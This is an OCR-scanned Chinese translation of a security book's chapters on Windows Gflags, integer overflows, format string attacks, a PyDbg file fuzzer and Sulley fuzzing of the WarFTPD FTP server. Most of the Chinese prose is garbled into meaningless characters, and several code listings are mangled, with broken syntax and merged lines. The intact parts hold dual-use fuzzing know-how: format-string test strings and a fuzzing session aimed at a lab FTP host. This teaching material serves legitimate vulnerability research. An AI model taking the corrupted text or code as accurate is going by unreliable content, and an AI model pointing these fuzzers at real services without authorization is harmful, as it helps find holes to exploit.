MICROSOFT GLOBAL FLAGS

XTI FG ARIE L 1] A TT &3 (or exploit writer) & [ J 311 . Gflags(Global flags 4= Jajbx
B RYIMIZR AR BCE, AR LR IRAE R RS ERER, ], A 7R 2000,
xp F12003 - #BREAE AT FHIX T4 A

TX TG A g A7 R (10 1 7 A 1 HE DRI R ASORS o A 3RATIAE — AN ERR BT 3 A3 I ) 4k
RO SR B A S NAFRIRAE, AR NAF I AR R . AN FLIES NS R U2,
REAE R R AR I I B S L 207 A — AN TP T, SRR 3t o 5 7 ™ AR B R 148 4 L
TXRELE T A 38 2] T HERH DG bug IR FRATT 58 6 7 (50 1) 7 4k 20 95 Sk AE B o

AT e 98 i H gflags.exe K % 4 Gflags bx & 75 Bh & A7 B8 BF HE & & .
http://www.microsoft.com/downloads/details.aspx?Familyld=49AE8576-9BB9-4126-9761-BA&0
11FABF38&displaylang=en. X /M £F /& Microsoft "4 9 "$EAL 1), TH" UL 2236,

Immunity AL T —4 Gflags &, I HA¥4 &R PyCommand &557E T —ilt. EZME
JE V7 A) http://debugger.immunityinc.com/.

h Tl fuzzing i H BRFERT, FRATTA T B AR IR 40 R K A, AR S ERERFE P
R T AL ANEHR AR, AR5 4T3 & B Ok 0 U A K 1, my god!
N REG A WINPT, Integer Overflows #E4 H

8.1.2 Integer Overflows

HERGR Y E — AhAR AT R, AR AT AR B (g RS AR AE ) AT B
exploit WA HEXANHEA. — IR HAL d 2 D FILL, RORIEHE M -32767 2
32767, HIATNZAR [ A7 it B 5 5N /NI BT IR, 4840 H At
KT o B IIE T KK, A B g2 AEh R s AL 2 ORI £ 58 WA RR, HHHRK
2GR . T IREIRATE — AR aF ) 1

MOV EAX, [ESP + 0x8]
LEA EDI, [EAX + 0x24]
PUSH EDI

CALL msvcrt.malloc

B4R N K [esptOx81E 4 EAX, 5 44354, ¥ EAX L 0x24 XM
BEAFAE EDL o 22 )5 JRAT RS IXAN e — 0 Z E0 (R B W A7 B RN AR ARG EL malloc. — VIR
ECRARIE S, BRI ? B etk h B8l e — MRS 488, HARR K, LT
I THR SR K  32767), RGfkidss EAX, EAX L 0x24, 3850k, a3k
T8 —AERDME. H—AHR8-1, HBERX—VZUTRAN, ek Ltk
IREREHR I, FRATIZA & BB e — AR5 KM OXFFFFFFFS.



Stack Parameter => OxFFFFFFF5

Arithmetic Operation => OxFFFFFFFS5 + 0x24

Arithmetic Result => (0x100000019 (larger than 32 bits)
Processor Truncates => 0x00000019

Listing 8-1: /£ 4880541

W — YA, malloc K HE 0x19 AN 45 R/ ], X B P A7 LURE P A £ 2
PR /IMR 2 o SRR PN — KRR 5 N IZ X, Z2ph X s th s k2B T o 1E fuzzing
Rz, FRATTAF T d5e K AE A e /MBI AN 7 TN T, AT 3 HY BB kol vidkdt—
Al e, R AR R S

LR FRATIE RS —F SR Wk, 4% SR R s Format String Attacks.

8.13 Format String Attacks

B A 7 R s, 4% T8 S, W A T R T R AT ER AR N e AT E R UL R
B, AR H, A0 C IE S printfe 1EIRATISEEE printf (1) SR

int printf( const char * format, ... );

B ANSHOE A SR AR AL AT R, JATRT LB NN 2, s Bt
LA Attt . 284001

int test = 10000;

printf("We have written %d lines of code so far.", test);
Output:

We have written 10000 lines of code so far.

Yod J ML HIRT M IR E AT 0E T4 € (1 R U (R test LUK (1B X
H)o WER AR AAVNOEEE 7 kM P HEAEE), S 7R rn:

char* test = "%x";
printf(test);
Output:
5a88c3188

XA EHARANA . FeA LIS T — MR BE RIS printf s %, (HZ B (L8
THTENRAS . printf 23 0T BAMEIRLE EHSHL I HERAR P — A SH0L H 24T
ENIZHL, ERILSEX AR Z BRI — N . A7 S 0x5a88¢3188, HVFIEAF
FERE LR, AT RS — MBI N RS . NIRRT, — N2 %s, 5
AR %ne Ys FRANATE VR TR A R SENAE ST RSO, HRNE S NULL



FAF, MREFATFR LT o 0 T3 H — R B B2 (1 50 5 SR e bk 2 #1510
Mo 8RR LU E K crash B2FP o %n R AF CfE——AN) AR NAES AN, fiA
PAERE AR/ o XA ARVF, BUhaa 28 o R B IR [k, 5 oS — AN DA AE IR R 4L
REF, DR PATAR . 75 fuzzing BTG, FRATH LRI 1] o N ax 26y 5
KRV AT, ARG AR LSS — A AT T 0045 R A BE R 2
IMAEFATC L A 1] bug KRBT TN KMER T fif, o I T 46 G138 25— fuzzer
T o BN RBATS T IS — file fuzzer, & 50K IEH FI XA B 2 G 5 L4 R v Ab 2L,
X IR GREAT FHFRATT A E I Z A PyDbg. Come on!!!

8.2 File Fuzzer

File format vulnerabilitie SCAF#% AL I A 28800 0 8 1 %5 7 i Bt AT 7 =8, 1
FAN g B R 1) 50 A et ST A XA 23 B R B PR 0] o DG V8 TRIDRT PR H B 2 3% B AR A & 5
PABS e, BAIAA BN T Rem 4y, Sl RSl Aa e s . R e ZEROR, 3
I fuzzer ReAERA BRI MIIHE B, 285 H SR P 3 H O A5 2 o) R BT o B Jo b
BN emailing (2 fE, 7EFATA BT 7 IR ] R %, ARA S AR AE N LA TR
A/

AT EARNS, 0, Mg — N RHESE, T p) Sop i+ .

#file_fuzzer.py

from pydbg import *

from pydbg.defines import *

import utils

import random

import sys

import struct

import threading

import os

import shutil

import time

import getopt

class file fuzzer:

def init (self, exe path, ext, notify):

self.exe path = exe_path
self.ext = ext
self.notify crash = notify

self.orig_file = None
self.mutated file = = None
self.iteration =0

self.exe path = exe_path
self.orig_file = None

self.mutated file = None



self.iteration =0

self.crash = None
self.send notify = False
self.pid = None
self.in_accessv_handler = False
self.dbg = None
self.running = False
self.ready = False

# Optional

self.smtpserver = 'mail.nostarch.com'

self.recipients = ['jms@bughunter.ca',]

self.sender = 'ms@bughunter.ca'
self.test cases = [ "%s%n%s%n%s%n", "\xff", "\x00", "A" ]
def file picker( self):

file list = os.listdir("examples/")

list_length = len(file_list)

file = file_list[random.randint(0, list length-1)]
shutil.copy("examples\\%s" % file,"test.%s" % self.ext)

return file

FMERGE LT — 28 JaAe i, M TERERIC R SCAFAOFER R B, XSSO 2 AR AR
AN file_picker o U KT Python p& 3081 HY H s N IRIBTA SCAE, SRR BENLIEE—
PREATAI o

PR ORI A SO R 5 T A A g
HbRRE, BRESIINUE K, SR e iz e &b HFsfEe . 52, & HARRE s it
—ANIRERE, I Hgehe B SORDT B Bl AR BAIS . 25 00, QIS AR, T I
PRI ZeRE, IF H AT — B BERIN A 2 Ja R FE IR . fe e A3 BN — Bt email 21
A o

#file_fuzzer.py
def fuzz( self ):
while 1:

if not self.running: # Q)

# We first snag a file for mutation
self.test_file = self.file_picker()
self. mutate file()

# Start up the debugger thread pydbg_thread =
threading. Thread(target=self.start debugger)
pydbg_thread.setDaemon(0)



pydbg_thread.start()

while self.pid == None:
time.sleep(1)

# Start up the monitoring thread

monitor_thread = threading. Thread

(target=self.monitor_debugger)

monitor_thread.setDaemon(0)

monitor_thread.start()

self.iteration += 1
else:
time.sleep(1)
# Our primary debugger thread that the application
# runs under
def start _debugger(self):
print "[*] Starting debugger for iteration: %d" % self.iteration
self.running = True
self.dbg = pydbg()
self.dbg.set callback(EXCEPTION ACCESS VIOLATION,self.check accessv)
pid = self.dbg.load(self.exe path,"test.%s" % self.ext)
self.pid = self.dbg.pid
self.dbg.run()
# Our access violation handler that traps the crash
# information and stores it
def check accessv(self,dbg):
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_ CONTINUE
print "[*] Woot! Handling an access violation!"
self.in_accessv_handler = True
crash_bin = utils.crash _binning.crash _binning()
crash_bin.record crash(dbg)
self.crash = crash _bin.crash _synopsis()
# Write out the crash informations
crash_fd = open("crashes\\crash-%d" % self.iteration,"w")
crash_fd.write(self.crash)
# Now back up the files
shutil.copy("test.%s" % self.ext,"crashes\\%d.%s" %
(self.iteration,self.ext))
shutil.copy("examples\\%s" % self.test_file,"crashes\\%d _orig.%s" %
(self.iteration,self.ext))
self.dbg.terminate process()
self.in_accessv_handler = False
self.running = False
return DBG_EXCEPTION NOT _HANDLED



# This is our monitoring function that allows the application
# to run for a few seconds and then it terminates it
def monitor debugger(self):
counter = 0
print "[*] Monitor thread for pid: %d waiting." % self.pid,
while counter < 3:
time.sleep(1)
print counter,
counter +=1
if self.in_accessv_handler != True:
time.sleep(1)
self.dbg.terminate process()
self.pid = None
self.running = False
else:
print "[*] The access violation handler is doing
its business. Waiting."
while self.running:
time.sleep(1)
# Our emailing routine to ship out crash information
def notify(self):
crash_message = "From:%s\r\n\r\nTo:\r\n\r\nIteration:
%d\n\nOutput:\n\n %s" %
(self.sender, self.iteration, self.crash)
session = smtplib.SMTP(smtpserver)
session.sendmail(sender, recipients, crash message)
session.quit()

return

BMCEE TAESEHERAE, WA EK fuzz T, EIRATERIEE &R
BHEH. 2, Wil self.running #Lr 4§ A — AN R LR AL AT 508 U 0] 1 ] 1 Ak
PERR P A MR S B s S0, FRAHERE R BB S, R NBTE R, XA RS
TEAH 5 B

— HIUHAR IR E s, =00, IRATR AT — N, B3 BAsREy, s bipa R
T SO R AR A T, BT SRR N BEE — RN, A H AR R O,
RO I s, A3RE) PID, HPUA, Gl — MR, # iR — BRI LS
ARICTRARIRET o IR QIR DI LSS, AT MG ek, RSN FIEIR, 5h5—
X fuzz W5E 0, AREET —IR fuzz. BUAELLFRATTHG hn— AN 50 1 25 A bR

#file_fuzzer.py

def mutate file( self ):



# Pull the contents of the file into a buffer
fd = open("test.%s" % self.ext, "rb")
stream = fd.read()
fd.close()
# The fuzzing meat and potatoes, really simple
# Take a random test case and apply it to a random position
# in the file
test_case = self.test cases[random.randint(0,len(self.test cases)-1)]
stream_length = len(stream)
rand offset = =random.randint(0, stream length - 1)
rand_len = random.randint(1, 1000)
# Now take the test case and repeat it
test case =test case * rand len
# Apply it to the buffer, we are just
# splicing in our fuzz data
fuzz_file = stream[0:rand_offset]
fuzz_file += str(test_case)
fuzz_file +=stream[rand offset:]
# Write out the file
fd = open("test.%s" % self.ext, "wb")
fd.write( fuzz_file )
fd.close()

return

R AN FERR AL T R Ao AT TN A A8 DX P 9] i BT RIS X — 5 A% DR B B AR 3R
WA SO A TG ZE BN fuzz B8 A RE o FAEAE R S B AR U I fuzz £l
BB AR o P, AERCPINN fuzz Bl . —VIsepn,  JEHT AR R ORI SC
o BHE UL WL H— R il 1o BUELE AT B Ay AT AL BEEE 2

#file_fuzzer.py

def print_usage():
print "[*]"
print "[*] file fuzzer.py -e <Executable Path> -x <File Extension>"
print "[*]"
sys.exit(0)
if name ==" main "
print "[*] Generic File Fuzzer."
# This is the path to the document parser
# and the filename extension to use
try:
opts, argo = getopt.getopt(sys.argv[1:],"e:x:n"
except getopt.GetoptError:



print_usage()
exe path = None
ext = None

notify = False

for 0,a in opts:
ifo=="-"
exe path=a
elif o =="-x":
ext=a
elifo=="-n":
notify = True
if exe_path is not None and ext is not None:
fuzzer = file_fuzzer( exe path, ext, notify )
fuzzer.fuzz()
else:

print_usage()

IAETRATIN file_fuzzerpy A AW R AITSET o -e bri&k$anTa 2 fuzz 1
AR P AT . -x TR BAT T T2 T SO 8 e 44 2890 - axe il B AT 1 22
FHSCA SCAE A IRR B o -n 05 VF fuzzer 2 75 S HICE %1

BN fuzzer )57, R AR B ARFE R 00 IHE W SR HHE AR TR 45 R« 71 fuzz
SCARSCAF %, ) Windows id FAE FRIF A1 T o U IREESS B 4210 25—k 1) 5L
P A8 4k, LR S abh gndags A 3E R L T H G IR E . YE)A8) file fuzzerpy A Z
W, T SAE A 0T H s N Wi H 5% examples 1 crashes o 2R )57 examples H 5% F 77
BOLASBhaxt g5 R SCrE, Baa i M a2 a8 s 4.

python file fuzzer.py -e C:\\WINDOWS\\system32\\notepad.exe -x .txt

BEEICH AR 8N, REER BB AR L 1 SOtk . AEX AR 2 JE B = LUS , IRt aT
DU XA file fuzzer MR IFEF T o

8.3 Mt RH Fuzzer

BAEMCLEE T A fuzzer, 1T HHEREWBL ERALEZ AT, ERiiedkd—
L8 bug. (HAEAEIEAE SR KA IR KR

8.3.1 Code Coverage

Code coverage s —/MEEH, Wit ZE I HARE TR REF, 04T T 4. Fuzzing



L5 Charlie Miller it £ UEH, FHEIH bug 2 A Code coverage MG I . TS
BAVE AU ! B B ik, AR fuzz HARFEF R, (R R8s 28 H AR bR
U R VB W, SRS A AN R S 2 fuzz HARHERE, AR ] bug M
) R, RS RNE B O fuzz R AT Z I Code coverage 15 A% (1451
T ARAT LK E AT HEAR AR file fuzzer,

8.3.2 Automated Static Analysis

30 3 %F 73k 4] SO HE 4T Automated Static Analysis( H s 4L I ERAS 0 81), REW8 15 B
bughunter 3= 20 K4k H B ARSI 59 5l BRERS 2 AR IR 2L (B strepy), I H AR ER
HPATIEERE, SAREFMAR . EHRZ AP0, L ERER N B0 N A5 DUERAE, 200
AN BELRVEFR A BRACRY, 555 X HPRRRET T2, K bug MIPLSHUEOR.

FX LT RN TRATOIER 1) fuzzer, SSRKIIFEEIRATA G 0 TAERCE . AEFRATBRT
fuzzer IIBMEY MR IR TN, 7ELUSABIIDIREY 7krh, VRGBT A RALTE T o 1 vl
TR, g 2 A RMEAY . T ORIERATEF — A2 T Python [ fuzzing HE4E (Pedram Amini

,Aaron Portnoy of TippingPoint). Z G FRATESIRAN A M) —A fuzzer 1E i ioctlizer, H T
AR T VO FHHS ) Windows JXE) H ¥ .

9

SULLEY

Sulley %7 KALYE T H 52 (Monsters), —kBLLIEEAREY) . FIHZEE RN Sulley
WA, 5 KIFEET Python ) fuzzing HEALFIEEY) (FEIX BLALFRATEBA]: Pedram
Amini A1 Aaron Portnoy of TippingPoint). Sulley MWL & —A™ fuzzer; ‘&b H45 0075 1) 5
iR, BB EAR (VMWare automation). £F fuzzing FRd R A AR 0T AAEAT & B %1,
FLAE HARREE it i, MBI R SR BT — %, 4k2L1-4K bug ZJi . In short, Sulley is
badass.

Sulley 1 SPIKE (—#KE X MM fuzzing T H, M3RER&ERFLND —FEAH T 2k
FR, PrUVAER SR ST /7, AR BRRCSREMAs. 1ERATE G4 22
T fuzzing BEA, 7E2E ARSI, VR0 Uil sl 2 SOt X, e se— AN i
AERIHESY, MEQLHUSATREVEAN AL T (B SRR D AT B, B, ik
FHRIEGE R, Ba A AR A w2 AR5 A o LS I e A5 8 45 7 ST
MRXPAERE, T fuzzing. IXIUHA S A& HKRIG H S A T RN P fuzz NE
Hike 28001, fEML s, — MR T Bl A KRl sk, W R a% (0 il £ dh 184
T HARKRE, MEE SRR, BIRSwmfET, MoK ids, BsiazR
I, XHFEAE fuzzing %, SARXERR H bug T o FETHRIGHEARN R 61 57 4 BLIX Lo £ Hin
PR R R, AR e B8l S AR, AN AR BT RN

R RBAMSTEA M UIE Sully, MZ2ZEBEH] . SR PIE R T # Sulley @l protocol
description (PRSUHR) MIFERRAIH . AT — M, fuzzing HERE, Gk, LA



DR 1 SEHE N fuzzer. FATT fuzzing 1) HAREE WarFTPD, SR RAFAAE AR H o I3k
fuzzer F0 WL, HATFAKRETFEE, W ERERE—AN, UHIRT fuzzer A
18, WA A BB RN, IRPEVE ] L M o S IR BRAT T (PR AR, a0 SRAR I 3 AT 37T
n] LLE 7 Pedram Al Aaron 5 (1] Sulley manual. 4 1, ibkFRAT148%E,

9.1 2% Sulley

fERATHE N R Sulley 2 01, ek —k, kK. KK LN
http://www.nostarch.com/ghpython.htm "~ %% zip 7 €L[1) Sulley Jif8H% . (FAbilZIR L, P52
wHF], http://sulley.googlecode.com JHiA 57

FEGEJE, R Sulley, 7EH % FH#F] sulley, utils F1 requests
e, SR )5 HIF) C:\Python25\Lib\site-packages\ H 3¢ F o X485/ Sulley FItZ L. % FR
LR AP S A o

S/ WinPcap, — S IFREAEREERI ML E, HT windows “F- & F AR A
R RER I [F] A7, RPX AR NAZE AR R R T, BB ENAEE R CWFN, KO
RN S . Winpeap #) 12 N FH 5 & A4 TH, ARG Sulley 157 H B 44 k9 2%
. Fall: http://www.winpcap.org/install/bin/WinPcap 4 0 2.exe.

PR k2B python FE: peapy A1 impacket,, F1 LT f¥) WinPcap JFERC S . B4 1#B
CORE Security $#2ft. Pcapy +& WinPcap 1] Python #% -, impacket W 41 57 €0 (1 fif i A1 1) 4 o
peap 1~ bk http://oss.coresecurity.com/repo/pcapy-0.10.5.win32-py2.5.exe.

mpacket [ 2k http:/oss.coresecurity.com/repo/Impacket-stable.zip. | %% 5¢ 5 fif s 2]
C:\ directory,#E N H X HATLL F v 4
C:\Impacket-stable\Impacket-0.9.6.0>C:\Python25\python.exe setup.py install

—VIsheh, TAE!

9.2 Sulley primitives

TEFRA VTG TFEER H RS T-11, 2056 € LAF T 1 building blocks (FJEHL), X LEH
FUBT = A SO G MR . Sulley 241 T I 102 Bl i e b 20, D FRAT 100 2 17 5 vy
¥ protocol descriptions $& AL T A o 1 46 B R E 4 41 A4 N4 primitives CJ5LE ). FRATTSG
f] R PF i — 2% fuzz WarFTPD B i 25 F 21 ) primitives. — FLARBEAE T ana) 4 ] o — >
primitives, JSF T HEURA S T o

9.2.1 Strings

FAF Hh (Strings) A ] 5t 2 1 primitives. ZIAMHA 7T 44, ip dudik, H 55555,
s_string()FF 2 7S Ik A Z 45 1) primitives & — 1] fuzz KR . s_string) A3 —4



SRR A AR R, H T B R IERE RN . i, R fuzzing —> email Hihik:
s_string("justin@immunityinc.com")

Sulley £¥4t8 justin@immunityinc.com 3 — M RfE, RIGHTREFALE, ®edisH
PR . ik BATTEF email Ml T AT A8

justin@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA

justin@%n%n%n%n%n%n.com
%d%d%d@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA

9.2.2 Delimiters

Delimiters(iE 1), H 1K R4 o 23 31 s e S 25 2 5 B0 B B o 3 2 F 261011 email
HhEB 7, H s delim()¥5 2 GE0% & 0 B HE 2 1) fuzz FI7H

s_string("justin")

s _delim("@")
s_string("immunityinc")
s_delim(".",fuzzable=False)
s_string("com"

WL s delim(), FATH email #iliksrpk T JLASTH, FHH 2 U Sulley, FRALE fuzzing
HIHEAME T (), HESHH@ .

9.2.3 Static and Random Primitives

s_static)A s_random(), WA SE S, B AMIAL AR AL, 2B AR REY LY
A

s_static("Hello,world!")
s_static("\x41\x41\x41")

s_random() i LABEHL A= A8 K AR A -
s _random("Justin",min_length=6, max_length=256, num_mutations=10)

min_length Fl max_length 2 F Sully 28 5 ) B0 1 K SE V5, num mutations Ay AJ 3%
SR, KRB EL BRI 25 K.



FERRATIIE 7, AF I "Justin"VE I EE, 280 10 IRABTE, =4 6-256 MKEI 4% .
9.24 Binary Data

Binary Data(— 3l 44k ) /2 Kot s 1% %2 7). Sullyey JL-J-REALBR T A7 — 1t il £k
Yo ABAAELL R — LR RPN Bt B I I, AR B VE SR AR 76 M 5% a2 T[] o e A7)
A R IX AT X
AR, IXEHE s binary() BEAEH AT

s_binary("0x00 \\x41\\x42\\x43 0d 0a 0d 0a")

Sully HE VUM HFT A X R EdE, ARJE Bk e B R s A

9.2.5 Integers

Integers(HEE0) 19 M HITCALANAE, BEFE I ML W] SCEcs . BI056 AN WL 2B s, ALK
B e, #Fhaity, 555,
K O-1 FIH T Sulley SZHFIN T2 LRHAEECERAY,

1 byte —s_byte(), s _char()

2 bytes —s_word(), s_short()

4 bytes —s_dword(), s_long(), s_int()
8 bytes —s_qword(), s_double()

Listing 9-1: Sulley =% #7348 7Y

BT AT () 48 8 368 N0 A LA B (K36 3 . endian 3726 715 380K LU 2 RE 1 R AR B HY
K S /N- (<) AR K- )R 1 BRINBLT- /Nty « format T5AT AN il &1, ascii A1 binary;
RFEHCHE TR . 23007, WG — A ASCH k43 s/t 1, H binary R
E\x31. signed Ut B AEEOR A F75 L 2RSS 1K, IXANEDUATE format $i5 38 4 ascii
JEE R BOMLT False. i) — M ABRIVIETUE full_range, i FHIXAMEILLG, Sulley
SIE— MR 130 A A28 TT RE AR (E o 2507, G SR AT 14 N 30 — AN B A5 1
B, full_range ¥E B True, XM Sulley it 2 1R 2 68 IR0 S (B ol 4 8 i e
KAl B B e /M), T 5 I i KA AE 65535, Sulley B2 iR 1 11 65534, 65535, 65536
ZHHTINR . full_range ERIAH False, PRy ATALZ8 (1B ) AR ARK . BE TS T

s _word(0x1234, endian=">", fuzzable=False)
s_dword(0xDEADBEEF, format="ascii", signed=True)

B AT, BATRE T A 2 PRI 0x1234, I HRF R 5 AU B K b



RN — AR 55 A7, FATRCE T —A 4 747 ) K/ I{E 0xDEADBEEF,
I WA EE AR RS AL L ASCIT B A URHL

9.2.6 Blocks and Groups

Blocks(#)Groups(41)/& Sulley $2 A58 K412 T R . Blocks K #A7 [ primitives 21 2¢
AN F . Groups WAL T —284F ¢ (1) primitives, —> Group F1—> Block &%
J5i,» BEIR fuzzer W Block I, #82K Group BTG A I EHE, ZH AN A ) Blocko

RS AN L FZH fuzzing HTTP 4611 .

# import all of Sulley's functionality.
from sulley import *
# this request is for fuzzing: {GET,HEAD,POST,TRACE} /index.html HTTP/1.1
# define a new block named "HTTP BASIC".
s_initialize("HTTP BASIC")
# define a group primitive listing the various HTTP verbs we wish to fuzz.
s_group("verbs", values=["GET", "HEAD", "POST", "TRACE"])
# define a new block named "body" and associate with the above group.
if s _block start("body", group="verbs"):
# break the remainder of the HTTP request into individual primitives.
s_delim(" ")
s_delim("/")
s_string("index.html")
s_delim(" ")
s_string("HTTP")
s_delim("/")
s_string("1")
s _delim(".")
s_string("1")
# end the request with the mandatory static sequence.
s_static("\r\n\r\n")
# close the open block, the name argument is optional here.
s_block end("body")

P — U AT LT —Y verbs 94, Hrh & T PrH HTTP il RKAL. 255
SCT /MY body [k, FfHAN verbs 48k . IXEMAE, LLE Sulley REKAH body P 4R
B %, #S 3R 3R EU(GET, HEAD, POST, TRACE)S Fifisk 5, XFE—k, —
X body W HIAREHIA 241742 5 DM body .

FIHF 1, RAICEVHAE T Sulley FIEEREETIA. 298K Sulley AU AL, EA7 %
Pifgnd, RIS, K AP, RN 1A% 0] LU Pedram 5 (1) Fuzzing:
Brute Force Vulnerability Discovery (Addison-Wesley, 2007), — A& %4 T Sulley A fuzzing #H
KEARWEF A BAEZIFA A WarFTPD FF 7 o JATZESLAIHE A 1Y primitive 225, A5



Ree e as S o M A2 N

9.3 J&X WarFTPD

ERAEL 22 T WA Sulley primitives £l protocol description(F i3 )2 J5 .
WAL AEARVGAT T o XKW H ARt & WarFTPD 1.65. [0 @ 1 /1. USER HlI PASS it
A5 b, A AR K B, ST kR o X PRIRIAAR SR, I e Hb 254
W ] oEm m, fE A AN F M case WO A W o kN
ftp:/ftp.jgaa.com/pub/products/Windows/WarFtpDaemon/1.6_Series/ward165.exe | #F /5. 1
METH SRR T2 5, HEE1T warftpd.exe i AE)A 8 FTP k5 T . EAHH Sulley 155 Hpi%
UL T, 1REFRASE T FTP PRl TAEmAR .

9.3.1 FTP 101

FTP & — AN]SR () SO S s, 4 22 AT T & AP ER g rh, AN Web il 5545 2
PIZEFTENNL. FTP AR 55 85 BRI LS 11 21 LURWT 0 P g R LI i & o IRAEFRAT T2 E 7% FTP
B, ) RS A RIEAS T o B A A B, SRS IR S5 A AR o i SRARIR 58 B T
WarFTPD ] fuzzer, il T H' 25 HOF 31 5 .

—A FTP M55 %5 BE 1T DA B AN 75 B350 1) B 44 U ) sl 3 5 S 3 A PR A UE V17
4 WarFTPD 1)1l /& USER 1 PASS x4 I, Bt LAFRA DB Ik 55 DX A% R UE D7 )« FTP
WE A 2 1A X Fe

USER <USERNAME>
PASS <PASSWORD>

— HE P uEN T AR P 2RSS, RS ST & i, Ao, Skl
S, BSOS SRR . 244k USER Al PASS iy 4 U FTP R4S 842 (L h g b it — A
T4, fEMERIEIRAIRZ M ThaEE, 13 9-2. XL 1)y A # Z I N\ B FRATRE 7 11 P
WAHESE (protocol skeleton) . FTP PR FE4H )%, 1A rfc959.

CWD <DIRECTORY> - change working directory to DIRECTORY
DELE <FILENAME> - delete a remote file FILENAME

MDTM <FILENAME> - return last modified time for file FILENAME
MKD <DIRECTORY> - create directory DIRECTORY

Listing 9-2:RATEA4} fuzz [¥] FTP fir 4

IR BIRAG TR, (HIEY K TIARSER, BUELEFAT1E) T E 1S 1K protocol

description



9.3.2 A FTP HiHELE

FULEH], 2 AU !

#ftp.py

from sulley import *
s_initialize("user"
s_static("USER")
s_delim(" ")
s_string("justin")
s_static("\r\n")
s_initialize("pass")
s_static("PASS")
s_delim(" ")
s_string("justin")
s_static("\r\n")
s_initialize("cwd")
s_static("CWD")
s_delim(" ")
s_string("c: "
s_static("\r\n")
s_initialize("dele")
s_static("DELE")
s_delim(" ")
s_string("c:\\test.txt")
s_static("\r\n")
s_initialize("mdtm")
s_static("MDTM")
s _delim(" ")
s_string("C:\\boot.ini")
s_static("\r\n")
s_initialize("mkd")
s_static("MKD")
s_delim(" ")
s_string("C:\TESTDIR")
s_static("\r\n")

protocol skeleton S8/ Jii, EIRATITAGEIE Sulley 23 i, HEFTA IR AT EIEE K,
[Fi FsF 3 23 ) 2% MR RN 5 S 1R ko



93.3  Sulley &1

Sulley 2x i (5 TR ESEHS, MEHR RS, R, HBERS, MR
PEle JEibIRATE A3, RIS TRAI 2 Hr A 50

#ftp_session.py
from sulley import *
from requests import ftp # this is our ftp.py file def receive ftp banner(sock):
sock.recv(1024) sess = sessions.session(session_filename="audits/warftpd.sess target
= sessions.target("192.168.244.133", 21) target.netmon = pedrpc.client("192.168.244.133",
26001) target.procmon = pedrpc.client("192.168.244.133", 26002)
target.procmon_options = { "proc_name" : "war-ftpd.exe"
# Here we tie in the receive_ftp banner function which receives
# a socket.socket() object from Sulley as its only parameter
sess.pre_send = receive ftp banner sess.add_target(target) sess.connect(s_get("user"))
sess.connect(s_get("user"), s_get("pass"))
sess.connect(s_get("pass"), s_get("cwd"))
sess.connect(s_get("pass"), s_get("dele"))
sess.connect(s_get("pass"), s_get("mdtm"))
sess.connect(s_get("pass"), s_get("mkd"))
sess.fuzz()

receive ftp banner()/& 521K, RUABEAS FTP R 45 a8 65 7 b iE e LI, #84 ki%
banner(briR). FRATHE R sess.pre_send FiEdL >k, IXFf Sulley Ki% fuzzing Fs fi i) %
B2 6 FTP banner. Fll receive ftp banner —#£, pre send t 4 —/N 1 Sulley £33 1
sock X[ %o H— L IATENEE —ADSUESCAF, Tl 200 fuzzer [FPARZ,  [RIB #5005 fuzzing
(19 ) BRI 1k o B8 3 CIGH I H AR, LS TP Mtk R 1145 X BLBCE A 192.168.244.133
B 1 21 CIXZIATIEAT WarFTPD RERUNLIK IP). S =20, BCE MR %G 104 26001,
IP Ml FTP R 4548 O HE—F, XA A 7452 Sulley KA. SB000, E R
TSR WT (13t 11 26002, 3% AN i 1] F8208 Sulley & Hi (113K @y 4. procmon_options 11
HIFIAER BRAIGE L 2 war-fipd.exe. 75, fESTETIMAC X HRN G 2
B0, B FTP il RIBL AP IALUT . SERINUE, SRR E e 2 R0 75 ZE 1) 305 o) 5 N
55 8 Sulley JF4f fuzzing.

IAEFRA 2 I T =1, A8 Tk HE MR EBAR RE T, X —
DI SE e iz, sghml DA LB AT T3S T o

934  MILLHBE N

Sulley IR ALz — A& BEAR T I 1 IR ER fuzz AR PR AC T, DA H A% 2R 8 10 1 it
Ko IXFEHRATI BEAE SR I 1a) A 23T 5 1S A 5 A 0, SR A PRI JT A& Y exploit.



7F Sulley H7F H % F A LL#EF] process monitor.py Fl network monitor.py P /MHIAS, il

A3 59 G5t W4 2% S 47 R o M 47

python process_monitor.py
Output:
ERR> USAGE: process_monitor.py
<-c|--crash_bin FILENAME> filename to serialize crash bin class to
[-p|--proc_name NAME] process name to search for and attach to
[-i]--ignore_pid PID] ignore this PID when searching for the
target process
[-1]--log_level LEVEL] log level (default 1), increase for more
verbosity
[--port PORT] TCP port to bind this agent to

WK R SRR A%
python process monitor.py -c C:\warftpd.crash -p war-ftpd.exe
e AL B E T BRI w11 26002,  FT EAASH-p 1B

: Nk EFE network monitor.py. fEIX 1 /7 2L UL R ZE: WinPeap 4.0,
mpacket.

python network monitor.py

Output:

ERR> USAGE: network monitor.py
<-d|--device DEVICE #> device to sniff on (see list below)
[-f]--filter PCAP FILTER] BPF filter string
[-P|--log_path PATH] log directory to store pcaps to
[-1]--log_level LEVEL] log level (default 1), increase for more verbosity
[--port PORT] TCP port to bind this agent to

Network Device List:
[0] \Device\NPF _GenericDialupAdapter

[1] {83071A13-14A7-468C-B27E-24D47CB8E9A4} 192.168.244.133

FEIX R IATHT EAL L — DM L W R A a4 i d%
python network monitor.py -d 1 -f "src or dst port 21" -P C:\pcaps\
Feor: AR HTL AT Ci\peaps H %o

— Ve, JTHiakt.

pcapy,



9.3.5  fuzzing 1 Web 5[

WAEIATEZ) Sulley, FFAEH] N E ) Web SR SN fuzz 17
python ftp_session.py
far R

07:42.47
07:42.47
07:42.47
07:42.47
07:42.49
07:42.49
07:42.50
07:42.50

current fuzz path: -> user
fuzzed 0 of 6726 total cases
fuzzing 1 of 1121

xmitting: [1.1]

fuzzing 2 of 1121

xmitting: [1.2]

fuzzing 3 of 1121

[
[
[
[
[
[
[
[ xmitting: [1.3]

—_ = e e e e

T B X AE ), U EH . Sulley IEAEZ M TAEE . BAELEIRNTEE web
FUH, EERMTEZE R
FHM S #24T IT http://127.0.0.1:26000, K55 B 9-1 45 R .

Sulley Fuzz Control RUNNING

Tatal: 29

Resume

Captured Bytes

Figure 9-1: Sulley [¥] web 7T

AN IR R ST D0 e A S e B 21T fuzzing WHERE, DL IEAEAT ) primitive. @114 9-1
{R2 % B 1IEFE fuzzing [¥] primitive i user, XN AFAENRI, FEAALZ GRS E 2K
9-2 I AR A5



Sulley Fuzz Control RUNNING

Resume

Captured Bytes

